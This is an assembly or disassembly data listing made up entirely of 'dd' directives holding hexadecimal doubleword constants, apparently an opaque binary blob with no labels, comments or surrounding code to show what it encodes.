		dd 8A1CBD10h, 31843C99h, 974ED362h, 66958510h, 18310C0Ah
		dd 2417E98Ah, 45A92408h, 880C44A5h, 1D0D21A4h, 0BB426B08h
		dd 24180115h, 8AC42E1h,	8D60A875h, 496CA137h, 4298904Ch
		dd 24ED2A86h, 219C5153h, 8C1888F9h, 0F321D44h, 799154A6h
		dd 0C5B1A10Fh, 60AA833h, 19D3BC8Eh, 8C12921h, 87026712h
		dd 60039920h, 90BCE1DCh, 19470F00h, 0BFAFC2D9h,	345DC720h
		dd 6100A464h, 0DB8ECA0Bh, 58A87974h, 0C309C3E0h, 3F822C9Ch
		dd 244827B0h, 67184116h, 8A0BC51h, 0D1BF6004h, 4681F232h
		dd 71E218C0h, 79DF43FEh, 0E78E0005h, 0D136E37Ch, 0A1C02D1Fh
		dd 5743A2F2h, 0E2642011h, 0FD60BD77h, 2C22D789h, 947DB1h
		dd 25414E8Ah, 78F3770Fh, 26308C04h, 7C84E03Ah, 16541C7Ch
		dd 0A32CE0Ah, 58A69Bh, 0A84CB4D3h, 24009BFFh, 2E4E39A4h
		dd 0EDF22BCh, 539C61DDh, 58642126h, 0A7814906h,	3E80B994h
		dd 0FB17424Bh, 0A10B8DDh, 0C889F408h, 5032E89Eh, 78506801h
		dd 84DF03C9h, 1FDC159Ah, 5C0A2800h, 7F9D470Eh, 4D41006Eh
		dd 0F2AFB1C2h, 0AC1D534Ah, 0E40016EDh, 0EAF4BC80h, 3F2903ECh
		dd 7D50C092h, 0DE5C40FFh, 0A500061Fh, 0D73F94Eh, 70985284h
		dd 0B512005Ah, 63430BA2h, 33007D08h, 0A9DB341Ah, 46CA3Bh
		dd 4861C675h, 0D8E5E8D5h, 0B783DCF3h, 3474BA00h, 2BC0A9DAh
		dd 9E6F03FDh, 173D8B0Dh, 2F803CE7h, 0F6696303h,	84B70624h
		dd 3878F204h, 8D3D01A8h, 3A24372Fh, 0B7E9DC38h,	6B8E4100h
		dd 0D5ED7F28h, 760B03F2h, 6FEAC3D8h, 0EE0E9819h, 0A9860210h
		dd 0F0A25356h, 60171E0Ch, 71A0DFh, 72B04B0Ah, 14154AA1h
		dd 0FB2240h, 0B378C10Dh, 5BA631F4h, 38A9DE0Ah, 203680EBh
		dd 39A23018h, 7C98D010h, 2D04B81Dh, 59608E00h, 3A445DF6h
		dd 4C30D3C2h, 0C043935Ch, 0C1FBB000h, 4631BAECh, 13F60E57h
		dd 5836E84h, 8CE17B38h,	0ED188B49h, 0BE67017Ah,	50805447h
		dd 0BBD6A267h, 8700598Fh, 3DA513C4h, 3A4741DBh,	0C103D20Eh
		dd 0F62782D3h, 0AC011807h, 54C04CEAh, 709BE6h, 0DCD510CEh
		dd 96A8F182h, 56180401h, 0D9C5844Ch, 0F6974080h, 0DB10ABB1h
		dd 7EAF5716h, 70C41E00h, 372BEEAh, 9192C18Fh, 89E0A8D3h
		dd 0EF01F89Fh, 0F0182F22h, 5A8094B2h, 4C6C03B1h, 0A1008054h
		dd 585C2E36h, 32E895h, 7FDA6251h, 0AB161A7h, 0E3E629C3h
		dd 18A00377h, 0BDDF054Ah, 0EC76E804h, 0A01089F8h, 0C6070A3Dh
		dd 0E053EF11h, 4C359567h, 2AE598A0h, 561DD300h,	0D52FF75Ch
		dd 0E9406320h, 703B6284h, 71ED0A89h, 425030E8h,	58C923B5h
		dd 572E888h, 0CDA81Ch, 87774CC4h, 3B03EDEFh, 26AE58B0h
		dd 0E1300054h, 0A6435F6h, 5205B243h, 19D52C7Eh,	0CE2E040h
		dd 0F0DA029h, 0F305BA53h, 0C89434C0h, 40C0E9B3h, 4CA4FB3Bh
		dd 2057007Bh, 1604872Bh
		dd 6662AF51h, 0C1ED5478h, 51805AF9h, 1AC55C7h, 0AB14B259h
		dd 0EC4C97Fh, 0F842A26Bh, 0EEAFE1h, 53ED36D4h, 0BDBEAB86h
		dd 7C004090h, 0E3F17A1Eh, 0FA669AC8h, 0F6B200C0h, 5B0E4DC6h
		dd 0B8C24BB7h, 0A01733A8h, 595FE888h, 21F9C09Eh, 7CC5378Eh
		dd 0A0505748h, 0A76AB9Dh, 61A95A66h, 0CB108048h, 6E4B93C6h
		dd 0F173EB00h, 573F5AF3h, 9E53006Fh, 0AAB9FFB4h, 4D016C78h
		dd 0E81BEC06h, 0F3C4A749h, 5BCE020Bh, 9282AFD9h, 384FCA8h
		dd 97A8D2C2h, 7BDA984Ch, 0AE49E8F4h, 0C7420384h, 1447C871h
		dd 5879D530h, 0B6036321h, 60F2C35Bh, 5DC6B8E9h,	5578ACE7h
		dd 70C7A0Ch, 1EF36096h,	8977ED1Dh, 7420B8B5h, 9512F85Bh
		dd 0CF2B20C0h, 507B361Dh, 1168494h, 1F55D44Ch, 866021D9h
		dd 13305BD8h, 53581431h, 7601E589h, 1FCD6BEh, 4164218Ch
		dd 10EB0C34h, 0E18455Ah, 2D43BC21h, 42DC45h, 6C1D05D0h
		dd 0EF1FB5B0h, 0B0C757Ch, 0A8C4192h, 0C00301D9h, 4EF10308h
		dd 6CD29B0Bh, 10489019h, 790A2462h, 0FFB60198h,	810CE7A6h
		dd 0A3163F08h, 0A05076B9h, 601F2Ch, 0AA98A230h,	0A14E595Bh
		dd 8284C726h, 6A46A800h, 7178DB61h, 8C184CEDh, 4406494h
		dd 9B81033Fh, 43C195F4h, 0F2E31800h, 82BB75ACh,	0E9870A5Ah
		dd 1E4F457h, 96F518F9h,	9381807Fh, 3B1CF3C8h, 0F40CF047h
		dd 810E2490h, 7BDEA87Ch, 614B0141h, 6292ED47h, 0C9C3E882h
		dd 48C22091h, 63C891E9h, 0FF0A0422h, 40C80F72h,	33CFD18Bh
		dd 5DF76503h, 0ABBF4B6Ch, 6A3809E8h, 0A8A0C101h, 15F9CD54h
		dd 0A0F3940Eh, 0BC515814h, 0F4CE293h, 48E3183Ch, 7BCFCC1Eh
		dd 5200FF10h, 4A36285h,	2A72F37Fh, 37304E81h, 4AB105C3h
		dd 0CF978048h, 9EA24ED9h, 7722077Dh, 0AEA603E8h, 48A474DCh
		dd 5913903h, 9B642F1Fh,	0CFBAC863h, 0EB06E479h,	0FEC6270h
		dd 35D0F84h, 416A9C21h,	0CCB8F7C2h, 4400F8A9h, 0D3714280h
		dd 0F181F9h, 0FAF7127Bh, 98481A59h, 0DFEAB800h,	93FE10E7h
		dd 0E4B7135Ch, 0C2B0391h, 15A0DAE5h, 0D000CF47h, 813EBC85h
		dd 7ECA183Fh, 7C120080h, 0A6F1D4C4h, 0BB909921h, 0B1FB1600h
		dd 77459F5Ch, 6AACA81Ah, 1C690095h, 975E60F6h, 716EA624h
		dd 1255E0E1h, 24733E94h, 8590D24Bh, 139EF3h, 92A1D7D7h
		dd 1C126D09h, 1A00A8D1h, 3E78C308h, 98A012BAh, 1D31E72h
		dd 0F7E3F3CFh, 30603058h, 80065739h, 1F1D9D7Dh,	0ED72156h
		dd 60B7A745h, 0EA2B51A0h, 0A176B2Ah, 0FF207Dh, 406114B0h
		dd 96E045A7h, 0B26C1800h, 1F78593h, 0BF8300D7h,	4AB0B105h
		dd 0CE07C7CFh, 0E2E3CB73h, 55134B00h, 6D600EF4h, 0FBEF46E5h
		dd 49B6D120h, 0BBE2B196h, 41CCF21Eh, 0CA686540h, 703F2C11h
		dd 77D60051h, 0AE103479h, 16074A2Fh, 0E44D81C7h, 0B164ED60h
		dd 0E0CA0083h, 0D6EEC941h, 0D50F2AC6h, 40874295h, 6C12DD8Ah
		dd 8C3A0009h, 82D23962h, 987481C2h, 0BE0020F2h,	0D71145C7h
		dd 1C4BEB91h, 0C08E6874h, 8C54798Ah, 0A0009CCAh, 97FBBE15h
		dd 3D945551h, 0D580E621h, 0AEC81D8Bh, 8F005F96h, 50C39D07h
		dd 0FD79B6h, 0C18B084Ch, 1B861F03h, 7A67871Fh, 3804EB00h
		dd 0D3E9FCh, 46B6F966h,	17C2585Dh, 763C7500h, 5FC13388h
		dd 9790072h, 2112C88Ah,	0DC039447h, 2526C74Dh, 0D344D8C3h
		dd 0BD291F9Dh, 0C5D503B9h, 77C81E50h, 0CBF28B0Dh, 22C9F200h
		dd 0A66DEE5h, 5BBC00F1h, 0A1599709h, 900016D5h,	0C3818425h
		dd 0F87247h, 58ED3DC9h,	860EAD8Fh, 9D0051F8h, 4B1CAB65h
		dd 7AF2B09h, 3A41180h, 0EF34C041h, 5016D810h, 9000CB97h
		dd 0D9793A3Dh, 6B7100A7h, 0DE0D85F4h, 0DC7E9CECh, 84B0DF00h
		dd 1AA7DA61h, 0AA9B2806h, 0A1E2B4h, 7F4BCC4Eh, 3941B66Ah
		dd 9CD24500h, 4790AADBh, 50DE7328h, 117C43Fh, 7B41511Bh
		dd 856A4F75h, 26601610h, 4842C700h, 0A406D2h, 238B0CA3h
		dd 94B54FDCh, 47062AF0h, 9385A671h, 0E6490080h,	0E8D560CDh
		dd 0A300AD18h, 27CA4B02h, 503396C3h, 97C0A1h, 0A5BE5A0Ah
		dd 22B22967h, 9C6DF400h, 6B791061h, 1E66009Eh, 976CEB95h
		dd 0FBEEEC6Ah, 0ACB85B0Ah, 9D0EB4B0h, 0E0B05D78h, 0A86E895Ah
		dd 2E69E0h, 0D8FCE221h,	0E7EAB482h, 48DE7D01h, 0AECFB56Ah
		dd 39CCF0h, 0FF2BFD78h,	0D525E00Dh, 0D30E49FAh,	0A3E72444h
		dd 0A8840C60h, 0A8078908h, 0E3C3A8h, 0A37025B5h, 87BF46C0h
		dd 600BF000h, 0BEB64589h, 5E760074h, 97A506B4h,	0BA00E999h
		dd 2D8ADCE6h, 3A842131h, 0B6806583h, 4B1157E0h,	7B4C236Ah
		dd 40430029h, 0B4876E4Eh, 0DB370059h, 0FCE8ADC5h, 0F6006B14h
		dd 64FB66B6h, 0F7DE7Ch,	2CCF204Ch, 746AB3E8h, 11F99800h
		dd 0B4A7C468h, 0B7C31C43h, 0C36B9FEBh, 0EE8D0FFAh, 0A6E88190h
		dd 722D58h, 0D54E7387h,	0B80978h, 989930D6h, 6B915A20h
		dd 8518600h, 6438D8F1h,	0BDB500BEh, 0B40EAEA8h,	7C1DB104h
		dd 0C7182383h, 0BF8178h, 34EA2CC2h, 0AC48C171h,	1EF51404h
		dd 7CC34657h, 0E842A3D6h, 24B7A21Bh, 249EFE2h, 7B66A425h
		dd 99A0F48Fh, 0D2436FC5h, 0B49DCB09h, 0D886012Bh, 1CE82ED0h
		dd 74500070h, 18EB6D83h, 230066AEh, 0BC8952D3h,	2069B6h
		dd 0E89EC906h, 92BEA1C4h, 9D5829F0h, 0A61F7C07h, 2840AE20h
		dd 1227C58Fh, 0BEDF000Fh, 844F7988h, 40002D4Ch,	7D8E86C4h
		dd 5532867h, 0B5312B39h, 0ABE812Fh, 3D8ACCE2h, 0F420300h
		dd 0F8374C7Bh, 72DE222h, 0FA8F69A0h, 6A635048h,	40007866h
		dd 0EEF5987Eh, 7BE9A93h, 92BCA7FFh, 1176A0BBh, 7001FF9h
		dd 9D6E1860h, 0D58853h,	25CFAF26h, 6A3A2757h, 870F07B0h
		dd 20766B64h, 2FE8FC0Bh, 0C32C0017h, 83CAA145h,	0FE00960Dh
		dd 5CAF6902h, 1D847708h, 80B79BFFh, 4EA0AD92h, 0B374DCD6h
		dd 11132830h, 0B6CE1Fh,	0A9BD9A85h, 4B017AEh, 66A84601h
		dd 0BC972F9Dh, 3BE898E1h, 94EF03A2h, 9A01652h, 66F0A4C0h
		dd 0F4823C2Eh, 74BF2A05h, 0C613F880h, 7E09AE0h,	2FBA0ACCh
		dd 0F0EE47A0h, 0D00641B9h, 8027E403h, 7AB15EBh,	67286DB2h
		dd 8B59D0E8h, 19000A36h, 0B8BBE135h, 0A648AB0h,	0ED688840h
		dd 2C4D00C7h, 0CDBDFA6h, 91AC3800h, 7CBB75C3h, 0F5E6006Dh
		dd 13CEBF39h, 0E200F7D9h, 2BEA9DB1h, 271E97h, 828381ADh
		dd 0E7B89E1Ch, 0AC4E1F00h, 8C79FE98h, 37850EEBh, 2EC77291h
		dd 5CA80062h, 90033EDh,	6EADD476h, 6364Eh, 0BF623815h
		dd 20EA983Ch, 48A83300h, 5CFFDC45h, 109500CFh, 56577086h
		dd 0BC0FE1DFh, 5D1A4EE6h, 0A040D80Eh, 722829ECh, 160E25Fh
		dd 6F994D8Fh, 0C6EAE92Eh, 0C6AE87E0h, 0A966E203h, 93E837DCh
		dd 57A6D186h, 0F43D1CF8h, 7ACF00C8h, 89474FA7h,	2B3A8F34h
		dd 0B19BA85Eh, 29049270h, 5A39B633h, 37C8CDC0h,	288506A4h
		dd 60AD5F6Bh, 8071804h,	0D4C7787Eh, 0FB36BA90h,	0A25B301Ah
		dd 7EE47D21h, 0F790F967h, 0ECD383E1h, 1878420h,	0C5FC4FD7h
		dd 0E08CC275h, 0AB18CC70h, 4620E367h, 0FA1300B2h, 7A3D152Eh
		dd 0A4287703h, 0F200D8C2h, 0CD343A8Ah, 3625F65Eh, 69207EB7h
		dd 893C7F02h, 87325437h, 970D544h, 0EFBE07Dh, 5534993h
		dd 1CE82500h, 0AB0035C2h, 0AAF13307h, 783F5Bh, 11EAD421h
		dd 0FD63CA7Eh, 59895C00h, 42351391h, 0DD3F1E6Ah, 5F7B001Fh
		dd 0C3957810h, 2CD43Ch,	0DBF51177h, 2C294EBCh, 0C9F924h
		dd 86340B3h, 39F8C39Fh
		dd 5E1E7B16h, 0B9E80400h, 39138BFh, 182F3EF5h, 11E08B06h
		dd 280F6AA1h, 9681B4h, 0AEF1ED53h, 0AFE90464h, 0C0D49DE7h
		dd 5A31A664h, 0CD069776h, 0C5BFABADh, 0F8686008h, 4CDA85AEh
		dd 0E3080916h, 2FF30D00h, 0F4E1A03Dh, 8C890969h, 182719F5h
		dd 105A90CBh, 9300512Fh, 0C213DB32h, 4DF8EEE0h,	0C6009C07h
		dd 38C0B682h, 8B0768ECh, 8DB2545Bh, 0C0477245h,	0C03EEB48h
		dd 9591708Eh, 1231B0E6h, 5F4FFE3Fh, 90B4801Ch, 0D2D8E057h
		dd 817E423Fh, 81B2E63h,	0DCE4A464h, 7DC0E81Dh, 47E2011Ch
		dd 0E7B37F2Fh, 0C6FFD086h, 0AA000FB8h, 6CA9B016h, 51ACBAh
		dd 4493B848h, 0E9108194h, 58E5F300h, 9E36BC8Bh,	0B35104CBh
		dd 800F8DB4h, 0E0693D2Eh, 72566E00h, 73A54598h,	901703C0h
		dd 0BC932D07h, 86DF48E0h, 0F22B6300h, 0B07942BFh, 6AED00C1h
		dd 9FD9BD8Ch, 8A0385C0h, 103C30AFh, 0C54AB92Dh,	0A103D4h
		dd 243FAB6Eh, 9C26A28Bh, 0B05DF400h, 1FCF88E5h,	4C101D50h
		dd 0AA6B0019h, 0BBAB0F78h, 0F8409E09h, 556B03C8h, 0DEC6B47Bh
		dd 2CFC0060h, 0F17DE0FDh, 25008389h, 0D2BFCC74h, 0F85C22Dh
		dd 5756606Ch, 5DA830E0h, 0B30092E4h, 34475B32h,	0A120FAh
		dd 0E39F8F4h, 956EFB5h,	8B3CCFFEh, 871FB82Bh, 0D53B7170h
		dd 5A85C190h, 349A0076h, 0FFD30B2Fh, 0E0F4BA5h,	40677765h
		dd 452A786Fh, 367E1CC3h, 6B8CBE08h, 0AF082947h,	48025EF6h
		dd 0A37205FBh, 4167C357h, 0D4D5C9C9h, 2F2CD4h, 0E987E8A8h
		dd 91A44B44h, 0D80736F0h, 0FE2B27EFh, 3592E2B0h, 74B80285h
		dd 0E67D8B53h, 0F752F880h, 0E700D0A2h, 770E4326h, 285D6656h
		dd 0F09D3B3Eh, 6D870F51h, 0F2A08106h, 0D4ED7AC8h, 27737C98h
		dd 0E62A1600h, 3A10C278h, 0E2D90072h, 48E17A29h, 0E4000575h
		dd 8F16FE55h, 0FBCDF21h, 7F189E53h, 5848742Ch, 696B0E00h
		dd 0C6944668h, 7C76FDh,	0DD7477F0h, 372A609Eh, 85D3E200h
		dd 0BDAE6CAh, 0EF9C0148h, 55870379h, 0A33ECA1h,	22C23207h
		dd 0FD00ECE7h, 0A3D873h, 2E994A3Fh, 2C88DB96h, 6F7D7E00h
		dd 0BC92F29Bh, 0A1C0009Eh, 314AEE10h, 45001FAAh, 135C1D8Eh
		dd 1A2707Fh, 72C32F50h,	0CC477960h, 0F11ECCACh,	0B8FFB0E3h
		dd 0DA918042h, 5809FF15h, 45C0001Ah, 0D7485775h, 3CFAC428h
		dd 422DCD00h, 2647FE6h,	41CB242Ah, 7303002Bh, 2B7628ADh
		dd 19F84907h, 4D600B4Ah, 0B10D71h, 6FDEB6C4h, 0FDED988Bh
		dd 0CED21C07h, 7CC0C612h, 539B8Eh, 0CBF7A07Dh, 389F1896h
		dd 6C55EF00h, 0A5D82AB1h, 0B4CC0007h, 324AF2C7h, 0E000C3BFh
		dd 4B5BC108h, 319CD9Ah,	96F75531h, 0F0A64971h, 2C3BB700h
		dd 5A14188Fh, 1C2D78CFh, 0BF325FA9h, 0C39D8200h, 0FDA050BDh
		dd 296C2016h, 4F48B0h, 8990FF71h, 591FBEDBh, 0E1A5110Ch
		dd 38BD59A1h, 64812CAEh, 9BE33B14h, 0D0FDC978h,	0E4003F20h
		dd 0E97D5287h, 50808BB4h, 0AE14A3h, 94BB364Ch, 1F2C8C33h
		dd 0CA7023F8h, 2FA66F0Ch, 3417604Eh, 0C670CDF8h, 2B3070B5h
		dd 2F7A9EFh, 87BC00BBh,	1D4115DFh, 3E1427B0h, 784B719h
		dd 4C2EA430h, 2812A0CFh, 0C3DD898Ch, 0F0C9BFB8h, 0B19807F5h
		dd 71DB30FEh, 0A700E61Bh, 0D64D1A04h, 72830B78h, 92C50096h
		dd 96BB6CBh, 44391670h,	370F8B23h, 7FDD801Bh, 0D48760h
		dd 0B88A5B47h, 0B910962Dh, 0B4683101h, 3B171563h, 646E18D0h
		dd 20BF287Fh, 807091B4h, 0E98B139Fh, 8605E007h,	0FF10297Ch
		dd 0CB116F35h, 6A091916h, 4310B779h, 2300D552h,	405FCDD9h
		dd 0CADC74h, 4CF4DF65h,	2AA09C4Dh, 0B3A10700h, 0E4FA6E2h
		dd 25C02441h, 0FE0138C2h, 249C4576h, 2D837088h,	169D7400h
		dd 25F45E21h, 40F6F6h, 7B60F72Ch, 1B9BE94Eh, 97584500h
		dd 0B66C9650h, 55ECF2h,	32A7E5D6h, 0C0BD9F4Bh, 6BA65200h
		dd 786CAA66h, 0EC73AFh,	47B636E1h, 0C9D58821h, 3809140Ch
		dd 48F81872h, 6F179DC3h, 59E700A9h, 56C96AB4h, 6900D078h
		dd 0BCB191CFh, 0FC5E77h, 5AA31B1Fh, 167F502h, 0AE00D9F0h
		dd 6B99F0D4h, 76EAC3h, 41A1A93Dh, 0E88D6D34h, 7FAB1E00h
		dd 7569DB98h, 47B3A0FFh, 6A25002Bh, 0B3E80838h,	8B2EDD7Ah
		dd 5800AE79h, 0C18461F9h, 0DAB00CDFh, 0CA90EC88h, 0ABA14300h
		dd 38E72F90h, 7F6D03A8h, 6E5CF9Fh, 4296CAF0h, 87F50C3Ah
		dd 0C995B9D0h, 0C4B0E0B0h, 3F1800A2h, 23F91B88h, 15001413h
		dd 64F40840h, 9685DEh, 1B528153h, 454EE892h, 0BFDFFB00h
		dd 9B1ADA63h, 0B060C962h, 0D6743700h, 0E100DBF7h, 6EBEBA51h
		dd 7B738736h, 0CE7DA9h,	1453824h, 394B7882h, 6896A00h
		dd 84EDDB0Ch, 73600014h, 0A159A76Fh, 0C400097Bh, 8A92D8ECh
		dd 7DFFD5h, 0BD3311CAh,	8C125217h, 0F7B26A00h, 1DA7FB4Ch
		dd 58B107E5h, 20BCAD22h, 54A931CEh, 0A85E6D00h,	3A6B4BCCh
		dd 75590045h, 468724AAh, 0C426ADCEh, 13009C1Fh,	7FD2D99Eh
		dd 900CEC3Bh, 0DCF20073h, 3EA10B44h, 9803920Dh,	6B1A1CE9h
		dd 4F0688E8h, 3FE00Ch, 500922C1h, 0EC7D5BF2h, 0DE8B292Fh
		dd 0A6C700CDh, 3489F6D7h, 10705F00h, 0D9874D26h, 1A6005BBh
		dd 87820305h, 83EA0032h, 8C00F1CFh, 45469FF2h, 0E109D2h
		dd 1B31C02h, 95A5C9C8h,	0E4D47818h, 9E4C20h, 0B91B327Fh
		dd 18C91A5Ah, 0C1905000h, 6154EC6Ch, 0AC2038EDh, 838CA700h
		dd 5111C936h, 24D72C00h, 0F2878802h, 6BEC1FD4h,	0DCAC0026h
		dd 0A27AEDC7h, 2F005FFEh, 0E06A1DA0h, 30FDF3h, 42585EA1h
		dd 25BA546Fh, 5FDD3B00h, 2460AA27h, 0F4CF01D2h,	6974CEEEh
		dd 0A604CCE6h, 0B54BA400h, 0AB80CC63h, 4D1F002Fh, 89EF3B2Ch
		dd 403D1AD8h, 96EA0088h, 0E3C89705h, 521807FDh,	0CF249083h
		dd 0C0019FA0h, 0ED7B05DEh, 0EBD3CC1Fh, 0C5802E1Fh, 827E5A65h
		dd 38D9E8D2h, 0B300B7B6h, 2D994714h, 80006E31h,	513C013Eh
		dd 38AF7A97h, 7F801A89h, 611D8A13h, 0E100B096h,	0D6A8D3EAh
		dd 2CB8AC5Fh, 3C89520Ah, 0DF4AE80h, 0E408E8B0h,	986D1130h
		dd 9819B2AFh, 2B02005Ch, 1462DC44h, 0E3761EEAh,	278E9800h
		dd 77929733h, 9FAF0922h, 1F814C4Ah, 800CFB8Bh, 0E566CB72h
		dd 16D530Eh, 91FFEFDAh,	70BCCDB7h, 9807097Ch, 8E590610h
		dd 0DC41B600h, 0C1A20014h, 479B8440h, 0A33BE535h, 9F1001BEh
		dd 17B7D9B0h, 880DFCh, 2FF7735Dh, 5C488A32h, 37FB8F00h
		dd 0E928A655h, 0F5ED0791h, 117C62Bh, 20DDAEF9h,	1C0E0A4Bh
		dd 20D9C7E5h, 0C84314D8h, 0B78A00A1h, 851DE8A6h, 0F205785Bh
		dd 2FC6B0B4h, 0B82F82BFh, 0A9E33FC0h, 0D5124103h, 90E792C3h
		dd 0ECD86h, 0E50A29E6h,	4448C06Eh, 0AC4DCE03h, 8778AFB3h
		dd 0A0F31AE0h, 0F2FA98h, 87CCA6D8h, 6A3F7158h, 482D6809h
		dd 81600A4h, 0FA052E78h, 0F9EA00DCh, 43B4076Eh,	1200D93Ch
		dd 0CE279BD6h, 60493Ah,	478EBA9Fh, 89799369h, 0A0E10E02h
		dd 5DC0A818h, 25F26660h, 8E65F316h, 201EE80Fh, 1FDED1BEh
		dd 262000F4h, 0A50D68FEh, 28008A0Eh, 0A94977B4h, 60C7BA2Dh
		dd 9B50F8ADh, 0D707AB08h, 8542F4A6h, 4E5E1150h,	0BDA700D6h
		dd 0C7950FF2h, 69029A60h, 0F6F92256h, 0CF34409Ch, 1AAD03DFh
		dd 0FF10582Ch, 0CBAAD0E0h, 6D9C7400h, 30570924h, 43862CDAh
		dd 0F52082h, 6F994C38h,	0E3F20A32h, 4E33F300h, 6CD2282Dh
		dd 27550092h, 7B0E90EAh, 9F09C2E9h, 7CACD12h, 0A0709392h
		dd 0CCCED6h, 0EC1DA98Bh
		dd 4FB7D333h, 56189200h, 5A99E978h, 0B7C00CEh, 376F81BDh
		dd 0A2004524h, 56A7B363h, 18E35C3h, 0FF959F91h,	0C8FEF264h
		dd 363990F8h, 3AA20051h, 16D94DDFh, 0B55003F0h,	116D4E79h
		dd 70AA5EE9h, 0F37A0D0Fh, 10B7B900h, 207C2474h,	55E80095h
		dd 0C1D9EE18h, 0AEB06D9Fh, 596A0F02h, 0C0D086B2h, 348E7Ch
		dd 0B9EB73C8h, 0F0954DFFh, 5E20DD00h, 7B9A8329h, 13180087h
		dd 9D8A9FF4h, 7700F8EFh, 0B48D45BDh, 5580A2h, 56FFB8DFh
		dd 2B6307E5h, 0F934BE00h, 1E84B10Ch, 953C002Ah,	368D6A2Fh
		dd 0C50E716Fh, 0A028AC86h, 33532047h, 94340096h, 0E709690Bh
		dd 0CE07371Bh, 9179F8DBh, 0D703A5A0h, 933D1CCCh, 0B4820763h
		dd 0B71690E1h, 98006E62h, 92487A15h, 0B803F8h, 0AA3F57F2h
		dd 0EE4ADD96h, 9865B700h, 0D34D16D8h, 0EF0403C0h, 4B0975FEh
		dd 0F1897000h, 0BD5BB9F2h, 186C60B6h, 183559ABh, 867502B0h
		dd 0F79848F8h, 890058F6h, 4E8BE1C0h, 3CA18EA5h,	6DB01A87h
		dd 8D539E38h, 0E4B0370Fh, 0FDEC01D0h, 6E008EBh,	7D6700C6h
		dd 9F8D89E3h, 0B300A6B1h, 4D2435A9h, 0FEEA2D8h,	1AB8CCECh
		dd 0E0FEC667h, 0E3D45B42h, 0D0C1DD1Fh, 0E7D644C0h, 0B0F926CAh
		dd 3B58006Dh, 83248E01h, 4B09D972h, 85A276h, 0A9CCE434h
		dd 0A11B0003h, 0F9211AA6h, 0C20042C8h, 0F8543238h, 620C72h
		dd 6FC6E952h, 101E12B7h, 9AC487A0h, 9BC35Ch, 8C94AEADh
		dd 26B7FE5Eh, 0C572D8h,	38932063h, 2B00EF5Bh, 0FB65ECA2h
		dd 18C4A26h, 83CB5145h,	0E40277C6h, 9A001149h, 38642BBAh
		dd 0F6EAD05h, 6B91BFFEh, 94D6C11Fh, 0FCD75D93h,	4C004D04h
		dd 10083042h, 325A36Ah,	0BF85C858h, 0D589B6F8h,	87E5E836h
		dd 43B02600h, 0C060A633h, 5FA002Bh, 250E77D3h, 610C3772h
		dd 88AD5ED6h, 7677501h,	0A8CC1AA9h, 7634A0BAh, 0B00CDAFh
		dd 8F46E1FEh, 0D98664h,	0ACB644EEh, 0DFAB2B0Ch,	0BB7AFB00h
		dd 43D02AC6h, 5231249Eh, 0FA090058h, 0B9E21D1Eh, 480E750Fh
		dd 0FBC6604Dh, 798FFBAh, 78DDB831h, 0B5190F9h, 0F000A51Fh
		dd 0E85A6071h, 1DDC83h,	9E8BEFE4h, 11E7C45Fh, 0D4462200h
		dd 803A22Ch, 21CB0364h,	86BF65E0h, 72F004EBh, 0D300D11Fh
		dd 66D254C3h, 1CB705C6h, 0C0AFD5B9h, 5D085615h,	0DF002407h
		dd 0A27EA094h, 454412h,	23F441AEh, 0BC787527h, 469B1900h
		dd 0F7702613h, 3FEE0038h, 103345A7h, 0CA014ED6h, 44DD9AA2h
		dd 57F04743h, 0AE990FABh, 0E1E60931h, 83004824h, 6506F07Eh
		dd 3D1CBE5h, 0F7C9035Bh, 91B862D7h, 0E6004349h,	7582280Eh
		dd 25AB8Fh, 0CE47E105h,	762B0B3Fh, 0A231C000h, 0A1DE5E7Eh
		dd 2DFF006Eh, 3D778B46h, 10000ABFh, 21C01578h, 0EA8AEDh
		dd 6B0C8E5Ah, 0E7A93959h, 2CFCC20Bh, 62CF0032h,	1FB103Eh
		dd 517EBF7Dh, 808A4FAEh, 475A4E18h, 0B9E342h, 11F37073h
		dd 12351D4Ch, 0AEF604B8h, 0A5182E00h, 0C244ED02h, 7C960308h
		dd 9C4C36EEh, 826387E5h, 4340425Ch, 0C0EC999Fh,	0B1765101h
		dd 0C298FB33h, 0B074B820h, 37D800B7h, 0B9D5B3E2h, 8300C1F4h
		dd 70DF249h, 50AC26h, 2B12F7CDh, 0CED0E3C4h, 38028301h
		dd 5C469082h, 2A5F8FCh,	0B9A15A7Ch, 2760979Ah, 701CC5F5h
		dd 0B87FD1h, 5406B5AEh,	0DFD616h, 0E4E72E3Eh, 30DBAC8Bh
		dd 639CA200h, 3236FE1Fh, 650100FFh, 6E512B53h, 6B013CC6h
		dd 41C817F3h, 31DC0FB0h, 687A001Ah, 3E1CF270h, 0A901A736h
		dd 4AECDCCEh, 0FD70696Bh, 30DF0F5Bh, 0EA00A395h, 0ABF7BAD4h
		dd 1A007398h, 5EEE7AF1h, 18FF4CF4h, 2205949h, 83002722h
		dd 0FB9DDD6Dh, 3FA7CDh,	0CCC68C97h, 0F8B0765Ch,	2A6E6300h
		dd 16191B87h, 0BBF10374h, 7509D2DDh, 85E818B0h,	0E178C00h
		dd 9BBC8D7Eh, 0AFA500DFh, 0F643D6F5h, 0D6B878EEh, 3D3EBE03h
		dd 0B00E5EB5h, 24E1AB3h, 430D92Bh, 0ED406286h, 4300545Ah
		dd 77DCF219h, 3E3C53h, 70202B25h, 9973FF7Ch, 0F014AC00h
		dd 0B3C688A3h, 0A830EEBh, 77C1932Fh, 0E0BA9D51h, 0FB009005h
		dd 0ABE24207h, 7997605Bh, 0D2DC00B7h, 0EE64B5ADh, 35071753h
		dd 0F3238EDFh, 85D0C0F0h, 923700C4h, 7D443C21h,	0CB005C1Dh
		dd 0E8A7A133h, 0C74310h, 5796D6D7h, 98063704h, 0FC0C600h
		dd 0AD814A72h, 0DD8E38EDh, 3CCDE92h, 0E66971C7h, 2F701000h
		dd 2A2CBEDCh, 8B8200C4h, 0B5A784F3h, 402C721h, 0D9E94507h
		dd 2802C0C8h, 2F85000Ah, 0BF619F94h, 560041D2h,	39F8F00Fh
		dd 43D795h, 0DE7D1324h,	0FB1EA35Bh, 0D5B15D00h,	41E8D4CEh
		dd 0BF9C0011h, 1C34D138h, 50000E13h, 0C2496F55h, 33A6859h
		dd 0DA2BFEADh, 828831E9h, 63073C9Ah, 5EAC6236h,	6A5AA80h
		dd 0DA3D0074h, 7820344Bh, 0D73B8F2Bh, 6EDF8053h, 3FFEACD3h
		dd 957AFDh, 0E820DA74h,	911F6238h, 32BDCD07h, 1880A637h
		dd 0F3A027h, 0E5FC8088h, 1F082384h, 0A3B3F900h,	0C3BFF72Dh
		dd 0C08BE8FDh, 0E7FADF20h, 9AB0AFFBh, 18B99900h, 2A7AC04Bh
